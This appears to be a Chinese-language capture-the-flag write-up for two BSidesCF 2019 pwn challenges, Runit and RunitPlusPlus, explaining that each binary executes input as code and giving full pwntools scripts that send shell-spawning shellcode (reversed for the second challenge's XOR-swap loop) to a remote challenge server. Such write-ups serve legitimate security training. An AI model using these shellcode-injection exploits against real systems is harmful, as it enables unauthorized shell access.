[BSidesCF 2019]Runit
查看保護
IDA查看程序流
讀入buf並執行,那麼可以寫入shellcode
完整ex
from pwn import *
context(log_level='debug')
#io=process("./runit")
io=remote("node3.buuoj.cn",28430)
io.recv()
payload=asm(shellcraft.sh())
io.send(payload)
io.interactive()
[BSidesCF 2019]RunitPlusPlus
查看程序保護
IDA打開查看程序流程
讀入buf,最後再執行buf輸入的內容
主體關鍵是中間的for循環,用了異或操作
可以假設buf[i]=a, buf[v8-i-1]=b, 那麼對循環裏面的操作進行轉換有
a=a^b
b=b^a=b^(a^b)=a
a=a^b=(a^b)^a=b
即結果使得buf[i]= buf[v8-i-1], 那麼對輸入的shellcode進行逆轉就行了。
完整的ex
from pwn import *
context(log_level='debug')
#io=process("./runitplusplus")
io=remote("node3.buuoj.cn",26920)
io.recv()
io.send(asm(shellcraft.sh())[::-1])
io.interactive()